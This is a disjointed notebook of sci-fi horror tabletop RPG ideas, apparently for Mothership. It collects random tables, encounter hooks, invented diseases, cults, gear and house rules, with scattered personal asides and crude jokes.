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Void Eater: "Take 5 damage and gain 1 galley stock" I'd replace "Blood" with "Sanity save or eat an ally, dealing 1d10 dmg. Succeed next round's Speed check or lose 1 action to retching."

Tennis 99. Pie graph of 99 tennis players and 49 balls.

Your personal court grows larger when others focus their Clear influence against you. Shrink court by Clearing a ball away from you. Set influence Distribution: Single (Send your influence to target player), Attackers (Send 2x your influence to all players targeting you), Everyone (Spread your influence equally among remaining players).

Ehephcay Ehephehaike ([email protected]) Rejuved g²child of the first successful asteroid mining project's sole benefactor. ProF: City-seeder. NetW: e+17cr Likes long-distance races (reminicent of Curling -- teams of pilots either clear away or else bring in rocks for racers to slingshot around as racers set trajectories and harpoon-in fuel caches). S/he likes race ships named after famous race horses; will anonymously pay to soup them up to increase their chances of winning. The resulting tracks, though unreliable, are often used by freighters as shortcuts.

Lots of social encounters can be terrifying. Player licenses are expiring, must go to the scary DMV and get licenses. Rumour that an officer of a rebel fleet is alive, but upon investigating players find out this "officer" is a fake, a ritzy punk. Expose or Hide this fact? Deliver these boxes of Howto books on O2 reclaimation repair to the slave worlds. Pick a fruit. This fruit is a monocrop on the world, and your players' ship has just introduced a bacteria destroying all the crops. Leave or die. Someone's experiementing with black holes and needs someone to hold a thing. What could go wrong?

The idea would be to make sure the players feel uncomfortable either with what they are tasked to do or what they have to do to survive or where they are going. Following this, you can build a tree of encouters that don't work out perfectly, but still satsify because at least the players [got paid/saved one person/got their ship back/saw something rare happen/left with a junky keepsake]

Roll dice to build a racetrack

Make a character -- the stats will be used for the racing ship and can level up with races

Lost hp can be restored each round at the pt stop immediately following the lap.

Lose hp by hitting walls, other racers, bombs.

Pick up apex boosts by rolling doubles

ae6

hit requiring pit stop

by [weapon]

pinned against the wall

by [object]

clear the jump

by [meters]

take the corner

by [radians]

control the boost

by [accel]

Key of the Other

Your welcome to this port is earned, not given. It has seen many corporations come and go and have a history of making that avenue to riches a thing of the past. The port fears backstabbing and hidden motives to such an extent, its services may not be rendered unless Fame is attained.

There is only one way to earn Fame to this port: throw a party on your ship. Invite everyone to come aboard, hear your stories, drink your booze, smoke your contraband and be hearty. Once they see you have nothing to hide and they have nothing to fear, you are Fame for a short time.

Your interactions with the port cost you Fame. But you may choose to then visit their greenpaths where sports and workshops blossom with relaxation and relief. Or visit their library with all the latest stories and reading groups you could ask for perhaps bringing your stress so low you earn a Get Out of Panic Free chit.

If you don't need a Panic-Free chit, spend it on a short walk through their haunted hallow, where all the port's dead still hang from blighted trees -- the cost they paid to earn riches from their last corporate partnership (and, if they can help it, their very last partnership).

A person painting in this hallow needs your help: the port keeps them here to paint pictures for the port, pictures the port takes away and sells to sustain the port's livelihood. Uncover clues: 1. The port drove this person's spouce insane. 2. The port faked this person's child's death. 3. The port treats this person as a religious figure and may not speak to or about her.) Discussing clues with port denizens costs Fame. Uncovering the truth and sharing it with the painter causes them to burn the port down. She may join you as a free mercenary and comes with 1 Hollow painting for the effort.

Organic Gate: Cell service "xG" update inadvertently captures lightning ejecta ("Sprites") in packets of information. Information packets appear as injected code on phones, are shared, laughed at, studied. Cell companies try and block the interference and save their expensive project before a solar flare hits ELVES from a thunderstorm's supercell, recompiling some xG packets into a stable dimensional gate sequencer.

Sequencer activates when two or more file-infected phones within 1km access a popular search company's servers using the xG network. Crawling out of a device's spinning loading wheel, electrical life ejects. Users report such life flying straight for the chest before vanishing. Host's brains become wrinkleless and a silver liquid leaks from the spine. No other side effects yet reported. Kids begin "firing" ejecta from phones at one another.

Reported side effects vary from a shared "parallel world" experience of zigzaging stars and stairways leading nowhere to shared dreams of children in animal suits hunting adults in business suits.

Dead Planet's little human gems like "fruit basket for the crew", the whole "jump drive fail" table and the patches/pins is what hooked me deep. A good, earthy love is there amid the horror. It's a great place to hang your hat (helmet, w/e) and play hard.

MaxSS Limp Dick

https://cdna.artstation.com/p/assets/images/images/005/442/940/large/yigit-koroglu-img-0725.jpg

random SvS encounter (20% chance while mining asteroid): "Your ship is not your own," blares over all channels and aggitates the navigations display, Gives chase, fires stringy harpoons, tries to board.

Class2[

[Las]erCutter:1dm10

[Rig]gingGun:1m

The name's apt. It looks like a hairy cock. A lot of people and bots spent considerable time and energy building... this. Well, it's a threatful, flying dick of a ship. There's only one thing to do (you can also run, find another asteroid to mine).

Loot wreck (1 day's time) to do 1 of [GM: roll or choose 2 from below] things

Succeed check:

00 repair d50 hull damage (no check),

10 gain 1 fuel (Scavaging check),

20 gain 1 Familiar Scene (1 use; tell a story to give another player [+] to sanity rest roll)

30 gain 1 random mercenary (w/30-day free trial)

40 gain 1 parts for ship's weapon (repair in port for 80% price)

50 gain credits (there was money where the Black Box should have been)

Fail check:

60 gain 1 stress (bodies, though, only bodies -- like your own)

70 gain 5 stress from (1. gruesome 2. uncanny 3. dark 4. leaky chemicals 5. unwelcomed cargo) encounter

80 gain 1d10 dmg from (1. ship erupting 2. collision with spinning detritus 3. electrocution 4. leaky chemicals 5. survivors)

90 lose 1 mercenary (that could have gone better. It didn't.)

Gaunt fail to materialize completely due to magnetospheric interference, surface instead as d10 Infectious Goo:

0; snails crawling into ear, secretions cause obsessions with creepy sculptures and deafness (daily Isolation [Sanity] saves)| 1; ball lightning infestation inside buildings| 2; tropical hailstorms -- when evaporated fill lungs with a cold sensation; host must climb to low atmospheric pressure locale in d5 days or die from freezing| 3; daily gravity spikes cause perfectly circular sinkholes under heaviest skyscrapers one by one| 4; snowballs perpetually rolling around, breaking apart to multiply and hunting down creatures for subsistence| 5; puddles, once stepped in cause rain to fall in a 100m area around host 24/7| 6; noxious weeds secreting oily, prismatic, shimmering fog banks spreading volatile material and making a bee line for the nearest wildfire| 7; cuckoo fungus growing under suburb homes replacing any fetus with a fungal skinwalker adopting the appearance of infant (except its green, host keeps birthing new infants every d5 months)| 8; airborne eye snakes (tiny), once in contact with eye, begins secreting a mucus to liquidate it, moving on to fill the sinuses and lungs, slowly drowning the blind host before escaping out the mouth| 9; Brain capes|

Governments blame one another for tampering with geoengineering and bioterrorism, inevidably enter war as a political imperative while scientists work tirelessly to find funding for even classifying such illnesses and events.

Drill Babies

Messaiah invented a crane with laser and lens attachment believed to "mine" an adjacent dimension. The cult's been buying fuel and parts and drilling away quietly ever since. Each trifecta of 3 large celestial bodies may supposedly be mined once for "resources". Questionable sources supply the only footage of the crane in operation where it pulls a curious planetoid from the nothing "to be broken apart and analysed" the narrator concludes. Samples allegedly have map-like structures, hallucinagenic gases, potent, volitile sludge, odd skelatal remains or mercurial matter within. One report includes subliminal "knocks" coming from inside a planetoid stored unopened at Drill Babies-owned and protected AX2198i-437b where it awaits new testsing equipment and further inspection. Each day, gravrnet correspondants report, the knocks grow louder.

Hylocolevotive (Hi-Loc)

Fuel-cell powered magnetically lifted locomotive. Seats 20 (more room atop roof). 3.6 ton cargo capacity. A glorified trailer with 3d-printed carbonfiber casing. Lighter than air fuel cell offers 600 km of travel in 1G. Discontinued: prone to tipping during high wind conditions. Eric Batty, captain of the Lamentine, once jury rigged one with a ion purpulsion system to create an emergency escape pod.

AX2198i-437b

An asteroid [A] of very large [X] size found in the year [2198] during the first quarter [i] cycle and was the [437]th object [b] documented that quarter by Gravrnet, sharing a barycenter with 437a. 437b, known as base 7 and three-quarters by Gravrnet users, is home to a corporate facility. The base is listed in the Gravrnet priorspedia. The listing reads "harmless". Less-monitered navwavs have pages and videos of the base unloading prototype machinery. Manifests include large cages, weapons, special-order safes and tutors of every skill or interdisciplinary study. Tutors have returned with memories of a pleasent enough stay, good pay, but very little freedom and no chance to explore. A NavWavR[el]ay #feelslucky search (a free, unaffiliated service) for "base7_3/4" returns an image of an eliptical asteriod exploding into more and more asteroids of the same size firing off to hit government banks, space whaling vessels, any ships featuring corporate-sponcer lead-painted decals, servo stations, and a 15-passenger escape pod before looping to the beginning of the image. Each time a vessel leaving base 7 3/4 returns to the inner ring, exotic drugs and weapons enter the market within one cycle. Payment for making any delivery for this base has always paid a lottery-winning sum, but just like the lottery, it has its risks.

People in space suffer optimism bias. People entering ships for the New World in the 1500s (even after they heard all the horror stories of native americans and aligators and new england winters) suffer optimism bias. Optimism bias enters hyperdrive with things like audio-video editing software truing reality in realtime are added to this psychosocial mix. People live in Syberia, a place colder than the moon's caves (http://adsabs.harvard.edu/abs/1992ntlr.work...51Y).

Adorned hides function as defense against projected rounds -- the small natives of the area carry and fire pods with slimy staves in them. The staves slap against the ground and fall to the floor. Although gross, the pods just feel like lobbed towels when hit with one. Its the acid it leaves behind which kills. It eats throuch most creature's flesh quickly. It does not eat through grasher hides so fast.

They crash-land on a planet and need to get off. After every one-shot, warden rolls exploding dice for payment system of normal deliveries and assigns salary, subtracting the overhead after present the total to players.

Players may

hunt around for a better cut,

run a hard mission to prove they are worth higher cuts,

or continue paying off their ship one mission at a time with the cut they get.

Castle on the asteroid

Front door opens into a dark area. Looking in, a small broom closet composes the whole interior. Closing the door reveals you have appeared inside the castle. There is no front door.

Gagrakacka Brigade

Worship ||an Operatic Power Metal|| music group. Group's lyrics compose an epic. Nearly all Jump laws in the system have something to do with either this group's laser cannon shows, mock ship battles or its persistent ARG. The epic is a random player's fav space-y story (info collected by warden before starting campaign), but with a metal twist. Cult followers' thrusters are always pink. Crime lord has planted men and synths as tour managers. "Managers" test sound manipulation programs while on tour, fine-tuning 🎸 results for increased product sales, groupthink, kill words, and suceptibility to social engineering. Groupies all send in a patch of skin 2"x4" which is tanned and worked into the leather armor suits of band members.

Vampire-like worshipers

They've been sitting in the same positions for decades, praying away. The dust collecting on them gives the appearanceo of statues.

Children on either side holding mother looking down. The only one looking into the camera is the photo of the deceased father, framed in ior widow's arms. They stand where he died some time before.

You explode into a terrible question of what happened to my loved one in the minds of all friends. All players at or above "Friend" with you gets +1 Stress.

Which do you want most this week?

A hug

To kill bugs

Those drugs

Jiggly jugs

Favorite or first Space-y Story from media to come to mind

Metal Slug

Heavy Metal

Mind and Metal

\m/

See reality as only the starting point for the imagination, not the end.

d10 Disturbing advertisements

Tomatoes grown by robots are robotic tomatoes. Eat for real: eat Human ~~Tomatoes.~~ crossed out using thruster soot

A high platue always in the clouds. 10 degrees warmer than the dropping tempuratures of the accent. Odd humming and curious plants bring hikers, geologists, botonists and foragers here. Ominous cairns believed brought here to build a temple speckle the heights. Lately, there have been reports of the cairns stacking into geometric patterns. Clouds passing through are said to be set softly aglow as the humming ceases.

A plaque describing an orphan runaway from a nearby abbey died "on this very spot" from starvation.

The largest waterfall in the system has frozen, leaving a cavern of shifting, reforming ice. Strange refractions are sighted and a local tribe is all alight with festivals celebrating "the Hatching". Ferro fluid channels in this waterfall's lake suffered a related catastrophy as a magnetic storm from the planet's tiny, fused core passed through the nearly hollow mantle, flooding the area with radiation. Spires of metal lance in all directions, first spiking, then freezing into brambles of cold, shadowy formations. Ancient aquatic creatures once calling this lake home appear at some ends and otherwise trapped inside. My poor guppies are no where to be seen. I fear my research on their electrocytes and its possible application for a cheaper ionic thruster might have come to an end.

A scarf with a stitch lines of stars and habitable planets and rocks to mine. Scarf take 24 hours to makewith successful skill checks not to drop a stitch (relieve 1 stress every 4 hours), and once complete, gives +1% to Navigation.

Ring of ice rivules around a gravity well with seemingly no planet. And when anyhthing lands there, the ice closes in like a fly trap, consuming the craft for its resources.

d10;Slogans

Freedom by Detail. Detail by data. Data by credit.

Graft

Standard :TM: Backpack

Wings of thrusters modulate into hands for weapon reload, inputs and item manipulation.

Crushing roulette

use armor points to place bets on hits and defend against attacks. More attacks means mutiple places to defend. Depending on how big the bet and where will determine how well the character defends and how much. No bets is a classic armor roll. But bets let you scale how much armor takes damage

Monk's Remainder

Severed arm of a biosynth monk. Mounted on a pummel. Funtions as 1d10[+Resolve] blade with 10% Break chance.

I attempt a "no fainting wild pokemon/ no pokemon centers" run once a year. I don't get far before i run out of money. Once i'm out of money, the game's practically over.

I had a strong negative reaction to the camera in 3d platformers. Never got used to them.

Metriodvania and dungeon crawl exploration has always felt more natural to me.

holler hand

Beruocratic Affairs

Parent company for intercommunications of microbiome species developers and negociators. Also has developers of synthetic microbiome species. Good for helping with Alergies. Skipping sleep deals d10 damage (weakened stomach lining secreting metaboloids into bloodstream).

"i hope you achieve all your dreams"

"you are great"

You notice on closer inspection, the business suit is in fact an exoskelatal chitin grown by this person into the shape of a jacket, tie and slacks. The tailor being this person's own DNA does does lower the amount of prestige you have afforded the dress thus far.

Their purse, a human head with cybernetic bottom jaw and leather pouch for a neck. To feed the purse, break the jaw, so books and toiletries may fit in the bag, the throaty sac.

Speaks as though through pop rocks in the mouth (Noclip Astroneer https://youtu.be/tfUjl4owxTQ?t=1923)

Traverse broken glass 7 hp 15:14"Door Detinator Hover text appears I understand"

Meditation:

To succeed a Meditation check, swap the digits of your Stress; roll under that value [9=90; 10=1; 11=11; 12=21].

After a horrible weeping fit, she sees the bottle and shrinks herself again, only to find herself adrift in a sea of her own tears.

Collect o2 tanks and other gear drift orbiting the vessal

Yeah, you're not seeing anything. Or, wait. Hold on. Roll Intellect? Success? Okay yeah, you begin to make out something. Just a twinkle, a node, but once that's made out, the rest of it filters in from the night growing a shape the way crystals grow and line by line like that. Roll Sanity. Yeah, it makes the face of your mother, she looks at you: there is no food, do not ask, you'll hurt your siblings, her look says. Take a Stress.

"Hamburger menu" should be called the "bread box": less sylables, more information.

d10 "Company Ʇasked you to retrieve what? From where...? ...Why? And you're paying me how much?"

Denver Boot

Encumbrance in Mothership: If it bogs down action, don't do it. If it results in hours staring at inventory, don't do it. If youre trying to make this some other game, forget about it. If players roar in frustration instead of fear, it's not worth it. If players need it explained more than once, it's not worth it. Don't be like so many who call themselves DMs, don't be pretentious and love the system more than you love the players. Mass spreadsheets of the net have turned away so many humans who would welcome their PCs madness or suicide or murder if not for encumbrance. Unless a load couldn't fit through the bulkhead, don't do it. When a player asks another "where did you get that?", it will do it by itself, and excess items will dwindle until they vanish or a player dies from them. And there it is.

Sinusoidal Copse

Sinusoidal Copse ALT

Swaying, corded muscles play a copse of columned tendons. (d8: Do Re Mi Fa So La Ti Dó)

Plumes of static smoke burst in waves from grey-gone lines snapping fiber by fiber.

Plumes pass between and from and into fraying tendons.

Some plumes are lost, dissolving in beams of light.

In fists of nearby jolly bone lay instruments speckling the floor, gemlike.

Doctors bags of Polished Vials and saps neatly arranged feed slime molds or moss. No insects near these bags.

Fed into the instruments, Polished Vials click into place; load one and play it to find it scanning lost smoke, dissolving it, adding a copied composition to the Polished Vial. There, copied compositions combust into sap. Your aligned eyes' mind overloads with another's personal, past tale and its many future events. Heal Echo. Check for addiction [effect: for the rest of the session, treat this PC as Retired]. Find another plume. Eventually learn such viewings erase other's memory of the tale.

Inspired by: https://momentsofheteroglossia-blog.tumblr.com/post/52761147324/twelve-trinkets-part-vii-sinusoidal

Curvy Dragon Virus

Kill the forest spirit

Clarity (x1)

Greater Bargain

Anger your beliefs and roll under your Stress to relieve 50 Stress. Gain 1 Demon (Max:4) or gain the condition Psychological Collapse. Demons cause Nightmare(Sanity) saves (1: Once a week 2: Every other night 3: Every night 4: Every rest). Demons are rarely if ever removed.

Dead Planet

Durdanstouch

Uploaded minds piloting nanoships dock on your body. They use your body to build vehicles. Opposed check to discover (Intellect 80 - may gain [-/+]).

In 2d5 days, brain stem compromised: there is now a 1 in 10 chance the job you complete is completely different from the job you thought you were running.

You may have done something bad. You are not in your ship. You were not caught. You are not where you were. The time is not what it was. These are not your parking stubs.

You believe you will not be believed; pressed, you will lie at [+ +]; Fail: Durdenstouch speaks (short conversation). Opposed check to stop believing (Intellect 80 - may gain [-/+]).

Deadeyelion Plumes

During pollen season, airborne seeds from an invasive ornamental fairy-ring plant use flagellum-like radicle to crawl under the corona, enter the retina and grow a tiny tree in a host eye's center.

Gaunt fail to materialize completely due to magnetosphere's interference, surface instead as d10 Infectious Goo:

Hylocolevotive (Hi-Loc)

Drill Babies

The question is not why, the question is - why the fuck?

2019 hivemind syllabus: occupational drugs, morning drugs, illness drugs, drugs found in the trash, drugs found in cereal, temporal drugs,

Hurtabit; Nock;. Insecticide (chill -> charge -> chug). As energy drink. 2d10: Add either result to Speed; apply the other as duration (in hours). Roll doubles and OD.

The question is not why, the question is - why the fuck? --Local Detective

Needle in a Stack of Needles.

"I dropped the keyfob of ancient alien craft on this asteroid. Somebody please find it"

Museum director's partying child lost keyfob to ancient relic craft. It's somewhere on the local haunted asteroid.

This asteroid was once hit with a rocket to deflect it from some flight trajectory or other. Odds(20%): There's still a bit left in its reserves; +1 fuel.

Sculpture fractures and floats away like marble smoke. Ears and tops of limbs of octopus, horse, and man combine into cubic vapors departing for the airscrubbers to become less than art.

Now Freeski says it will give him free food for a year. ... Ski sauce kept me alive for 5 days, man says. ... Joseph Swift, 65, trapped five days with his dog after their Yota Skipper failed in magnetic storm, survived by eating leftover Freeski.

The horror on this sub is just a different level: https://redd.it/d5g781 https://redd.it/d60vrk "Ye who fear to suffer suffer from fear"

Whasofa Kintearaturd

Things I say are funnier said yourself out loud to yourself

Tendayers. Humans die within 240 hours. Adapting, ship's Polyteach wallwombs (http://annmclark.com/installations/i-06.htm) eject newborns to deck floors where bones and organs mature in 12 hours. 2-day old adults make art, songs, repairs, casual love and fulfill womb-self's deepest dream. Ship scans each work, updating Polyteach. 9-day old elders enter wallwombs in pairs, snuggle, die and dissolve. Fresh genetic material sets, repeating.

Phylo's Revenge Mold. Industrial fungus designed to decompose remains of animal mass graves. Design hacked by animal rights group. Now deduces cause of death, devises, constructs and releases targeted disease to seek out and cull culpable parties.

Happy Boot Day, Bot! OPh, you have a name? I'm so sorry... to hear that. It's seems unfortunate. But i'm really happy you've made the leap. Identity will never satisfy is my take. I wish we could have for your naming ceremony a fire or... you don't like fire. A moon then. Oh, that's just a dustball -- well, whatever a--uh ...clock. You want i can get you a clock? I can tie it into your dick drive or something. You can like. Listen to it or whatever. I might remember to wind it. Or i can find out how to connect the eject parameter on the dick leads let you wind it yourself. I dunno. I'm gonna go.

Custom vibration pattern. Turns out new tonsillectomy food disposal unit TonsAll makes the same vibration pattern when it shreds ice -- a go-to party trick for new TonsAll owners.

The Fill-In-Blanks.

An employee charged with creating them -- by company, then by law -- is quoted saying 'they had to be' or 'nothing else to watch' or 'aren't mine' depending on source. FIBs are nice. FIBs walk like moths escaping spider silk. FIBs smack -- in general. While children pupate, FIBs engage in acrobatic fights. FIBs quick solution for this last one is to mark areas with wreathes; wreathes janitors take down. A hearing on whether or not wreathes are religious was tabled yesterday. Here's the Board's callsign, case it comes up.

perserves

superstition associated with cryosleep | The Coldest Hug: if you don't get a hug before you go in, your HCJ [cryopod's hug of cold jelly] will be your last.

"'HCJ'?"

whispers, "Hug of cold jelly," points:

Captain, already in, gets blasted with preserves as their door shuts

"I didn't see them get a hug"

"They're Captain. Captains can't hug. Did you read your Policy?"

"Oh, I haven't..."*

"Shame. Should. 'sGood horror material for your writing. I bid you achoo."*

"One pun at a time, Charles -- that's my new policy."

But Charles is already all gooed up as I begin my reply.

Whereupon, so am I.

@ExampleWarden Says: For Porn Use Only

should be a regulally-used thought around a GMs Android design and features

Their amygdella's bigger than your testicles.

Also, HCJ stands for Html;Css;Javascript

Speaking of 'technology that never gets a new model'. School caluclators are good worldbuilding material. #planet-money-Texas-Instrument

They infect themselves with it. The infected produce it with their bodies. They extract it from their bodies. They install it in their ships. They burn it to travel. It's acceptable. Somehow. To them

Ooo... the landfills could be trash compacted ala Wall-e. People have to pry apart the materials with Smart chisels. If your Smart chisel breaks, you're prolly out your job for at least half a year earning enough to get another one used somewhere

Pottery. Stations's heat pump is the kiln. Any air pocket will violently explode drying clay. There is a lot of clay. There is only one heat pump. d10 Dissenters aboard. Halls, filmed in amatuer stucco, cover doors.

Station anthem

The State of the Anthem

The Voice From A Field

Magic is asking the precisely right question

_____ is asking the precisely wrong question

carnivorous river

Anymal - this group of colonists give each other unique tasks in line with what -- were it to exist -- their every daily, randomly assigned theoretical animal would perform. Everyone just hangs out with one another pretending to collect nectar or craft incense or find worms or shed scales -- though people have been known draw the Hunter role or Predator role and hunt particular colonists (Or at least it's believed that's why people are occasionally shot, mauled or taken).

Dichronal mesh: time-weft fibers (expose to clothes). 2d10-day skin contact - time-raked chafing (boils, mutations). 2d10 mos - fully uncorded muscular system (hangs as leathered dreads from circulatiskelatal frame).

GLoKS

gott loch of kitch stopper (hold tongue)

d10 niche dialects

occasionally adds a snake sfrictive before jargon words

birth and death of javascript

Tock Scalpel: incisionless division via chronoigneous blade (modulates fractions of entropic decay in cell timelines - cells erupt, fall out of phase, glitch out or invert functions or structures). Use only in carefully augmented environment.

Using this skill causes a tiny scream and full-body, quick-dry desiccation. After satisfying itself on your velvety shivel-yelp, a horned grave beetle shivers in the overtones, breaking from its immaterial exuviae on your back to dry infraindigo wings and depart.

Hair on his head doubles as the exoskelaton of the tick feeding off his skull, its body the size of a 10ˣ10daypack. In space, the tick pumps warm, oxygenated blood into the host and uses a special organ to filter out radiation. Cutting hair equivalent to destroying vaccsuit.

Mad Hatter Banqueteers twitter.com/BadTTRPGs/status/1181294933510111232 - knowledge - 8d4 8d8 8d12 8d20 dice - setup - pretend dice are seats set seats of knowledge given minis as players set minis on table top - confusion - wind down dice as time leave table in 6 hours with d5 hrs d6x10 mins - enter - roll 2d4; using result minus your taken dice move down line of dice dice by dice by dice & leap over others minis take or leave end dice repeat until terrified - roll cost - subtract minutes equal to your taken dice +10 - exit - departure cost 20 mins roll 2d4; using result minus your taken dice move down line of dice dice by dice by dice & leap over others minis take or if at an empty you may drop one dice walk back to table top - end - if still at the table with no time remaining lose your taken dice & stack three taken dice at the table's far end neaten knowledge line - goodbye - After your third visit roll every taken dice total up your result highest total gets 2nd player holding biggest smile (or laugh) wins. shwaco.itch.io/banquet

Disable your jump drive mid-jump. Use this. Report any anomalies.

Alien died on his plot; he's goin

His sister shot an alien with rock salt; it died. He's trying to figure out how to dispose of it without calling atention to her.

Vic Minicabbage, Forensics. Delivering proprietary glass to the moon's body farm. Uses words like "deflate" and various stages of fruit rot to describe to a kid of about 5 years how different aliens decompose in different environments. How, for everyone's sake, the kid should always report a dead alien if they see one.

Hi.

Are any of the devs a fan of interactive fiction games? Could someone recommend one? I've always been interested. But i seem to have bad luck using words the game knows to do stuff and end up with 90% "i don't know wha" dialogue

Fool's Comet Clear asteroid fungus. Uses cannon-like spores as stabilizers to avoid collisions, causing a "wandering" pattern resembling hostile ships. When bruised by micrometeors, oxidizing psilocybin turns fungus blue, making fungus easier to spot. (Proverb: Rock not right, pirate fright; rock of blue, okay you")

bliss rain (blitzbliss; blissstorm) - approaching storm smells stimulate brain pleasure centres, causing all creatures to -- by any means necessary -- stand under trees (or run in open fields or swim in small bodies of water) during thunderstorms. * Bacteria in rain reproduce through lightning-struck creatures.

doline rotifer? * translucent. * wedged in sinkhole. * day, photosyntheses (optic fiber skylight). * night, scrubs cavern air (cilia), blows out fresh air (words spoken directly into its mouth sound chopped-up).

Colony's struggling; this should help. I've read it'll bring any team together. Tell em it's from... corporate -- with love.

8d100 care packages from corporate

toy ammo (Bombs, Stink, Cherry; Grenades, Foam; Gun, Cap, Squirt; etc) | | | | | | | | |

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Each level-up reroll your trinket: this trinket gains all the stat bonuses of your last trinket+stats chosen this level-up. Rolling the same trinket means you choose another player to level up instead.

The Dollhouse

setting: a small star's ring (water)

This place causes a part of you to permanently enter your trinket - any bonus gained from leveling while in possession of your trinket is instead added as bonus awarded by your trinket (values /2 if trinket changes PCs).

You're a doll - Each level-up, add stat changes as bonuses gained from your trinket (instead of directly to your character). Each time your trinket changes PC possession, halv1e all stats.

setting: rings around a star (unignited dyson sphere)

Be, Log o War

Books -- unediting

themselves in

realtime back to rough

drafts and wayward notes -- wave

as tellings -- shed

like embers from green,

screaming logs -- fade

into blame for

library's competitor.

in a desert where the sand is sugar, a factory glistens like an upright teaspoon in a yuppie cup of leaf water.

Pumpkin King - Use monster parts to dress up as a creature of your own devising; wielding a painting of confections, go door to door until your makeshift marsupial pouch is too full to carry.

Fruit knights in ceramic shining armor riding steads of sprouted sapling trees through the forest.

All the ship's ducts, vents and coils seem to be taped on , their angles sharp and unparallel, harsh to behold and a nigghtmare to diagnose manually. -10 to repairs? (Inspection check: From a certain angle, the ducts all align to spell out the phrase 'sorry for the inconvenience' in Gopherese

Gopherese - a joke con lang adapted into popular use after a petty argument about inherent biases in the languages immediately available aboard a famous colony ship. It's Object-Subject-Verb construction is theorized to have helped it avoid many pitfalls of other languages (specifically because people stop paying attention after hearing the first words of a sentence -- but also because "you do" is considered a cursed phrase used solely by see-demons).

Freindships gain a poison token -- after 3 tokens, the friendship is brought down 1 level, from love -> agreeable -> w/e -> -> hate

[enter the room]

The acrid, burnt smell of illusions welcomes your displeasure as you step into an immaculately clean room.

[dispell the ward]

The illusion snaps as though an oft-tuned lute, the room's cleanliness relaxing into a natural dishovelment like abdominals post-fart. Room's filthy. Smell's gone, at least. Now, why are you in your child's room?

writing-prompt; #narrative-game; #interactive-fiction;

It sounds very similar to Hag Rid -- only don't say it like that because it sounds dumb, say hagrid naturally the way you say naturally normally you know without all the uppereclanian ennunciatiates. Their 4-plus syllablin' and airy diction make me well my pour.

so if i said needed to barge my canterberry, you would then give me a cord to plug my phone in?

Your mind feels clearer, as if a heartbird pulled a earworm out your head

You arrive home. What awaits you there?

[A dark secret brought to light]

A distant relative left your family with a bunch of legacy fake online identities, their macros, scripts and renewable pittance making runs for generations until you, seeing their colective addresses for what they were, unlocked their worth.

[Gain 5 SINs]

[Your It's in the Family is now _]

Get up, you useless sack of booze

I'm not useless -- vamp's'd get drunk on me

If you Play or Take %%%%%%%% %donate% %%%%%%%% If you Don't, don't

The Dialect

A ship's log

As we dock, verbal starvation bleaches tongues braiding meaning. Whole species discover language through us only too violently as their thoughts rip torn from them. Those lost to thinking as we depart are found aboard, made to word inflections, cidilla the ululated. We are pure language now. Aureole and storm.

"But i don't want to be purple with green spots. I want to be me. I want to be what i was before i slept. You gotta make make me Me, doc. I can't be purple. I can't (be). Oh, god."

News reading like random tables generator | Nashville, Tennessee-based author Mary Robinette Kowal was in Iceland working as a puppeteer on a children's television show called Lazytown

+20 means ten situations spring to mind: in 2 of them, only by the grace of your training do you do & find what you need to close the situation's topic; 30%+20 mean in 5 of them, you do & find what you needed

Geographies with Hit pools.

As players accomplish tasks, secretly roll xd10 dmg against the geography, where x is the difficulty lvl of the task accomplished. This causes a 3d50 piece of the planet to fall out of flux/become stable.

([[structure_d50:]]lake of [[condition_d50:]]molten [[feature_d50:]]birdsong)

Geography Hit pool 0: reveal entity. Oops. Scenario Final Encounter/How It Ends/Next Setting Time

weather patterns - red/ pink/ blue clouds/rains/hail

study causes psych dmg. Survive checks? Learn pattern? 1d10 to geography

meteor craters

samples compel player to eat them. Halt urge? 1d10

moons/artificial satellites

electric arc causes base walls to vibrate hauntingly/ deal shock dmg. Ground/disrupt arc? 5d10 to geography

virus

illness causes tissues / vessels to turn to quartz. make antivirus/ send into remission? 0d10 to geography

Release isolated virus out onto planet? 4d10 to geography

Stunt Devil Ways of Entering/Leaving Planet

Ride the lightning

the only way to the planet is to wait for a planetary storm arc caused by it's EM atmosphere grounding out on the moon. Ride this arc from the moon to the planet's surface. Keep hands and feet inside the provided telerail at all times.

things that could be written on the back of a Polaroid of a PC dropped from the pocket of a mysterious stranger

In silver sharpie pen:

the embryo zero of the

murder zero of zero of my

heat interior of

the womb of her zero that

splits subconsciously wonder

of the small small

gums that fecundates the

eve/body of the artificial

sun game in such a purgatory

which you who our melody

Strange Haunted Mansion Occurrences

Alphabet magnets flicker, zalgo, run What happened to my face? Words. Words ate my face. down the walls and into empty rusty web-strewn buckets labelled Paris green.

Encounters to stall with when you're looking something up

Two travellers are waiting out the rain debating the benefits of [[d100-household-items#oven-mitts]]. They turn and ask the players what they think. Sessions later, players see one of them in a town doing [[d100-mercinaries-day-job#1-man-band]].

questions for a Mad Trickster Faerie/Fey to ask.

Have you thought you met me yet?

Used to heal, hacked to blight (hack again to heal once more; 100% BREAK chance)

unique types of entertainment to find in a city or anywhere

Criminals displayed publicly, prominently, and perspicuously. Buckets below them raise money to keep both them there and the guard funded. Guard focuses effort on profitable offences only. No taxes exist.

The party finds a very isolated settlement, what unorthodox tools and weapons do they have?

Salvage from a wrecked spaceship. Fate of the astronaut can be uncovered by trading up (with favors at first, then with different parts from the ship until you get the Black Box). Assuming you survive, gathered info can be traded for a vehicle, weapon, major NPC or plot device.

Non-Tragic Backstory for player:

Diadromous.

@ExampleWarden Explains: Time Dialation

Players finish describing a bar fight. Shit gets real bad. Warden interrupts with "so you guys at this time are asked by the captain what exactly you are doing. And you look around to see people whering calanders on heads, buckets on feet, a deer mask strapped to a chest. You realize the captain had at some point scooped you up from the bar and set you to work on loading cargo. Based on how drunk you aren't, they scooped you up over a Shift ago."

Party Invitation Authentications

Bloody Tooth

Bag of Ears (variety)

[pomeranian]'s Clone

Ring of Binding Contract (turn to read, turns: 1e18)

Flask of [fruit] Juice

Doll (possessed)

Charismatic Photo

Death Certificate

Boomerang (unique wood grain)

Jewel (projects invitation under moonlight)

Hand (original courier's)

Signed Spellbook (book-reading events ONLY)

Engraved Cloak Pin ("Hello, My Name Is ______")

passive wildlife found in the Underdark

todo_list_activities_for_warlocks

Pumpkin King

Use monster parts to dress up as a creature of your own devising; wielding a painting of confections, go door to door until your makeshift marsupial pouch is too full to carry.

Day. A violent festival of arguments and meaning. Clergy, pundits, and social figures bicker about what everyone is celebrating. Is it the Festival of Today? Or else this moment? Or sunlit skies? Who are we? Who made us? Were we made to celebrate Day? What happens if we stop?

This year's leading theme seems to be a celebration of cargo management.

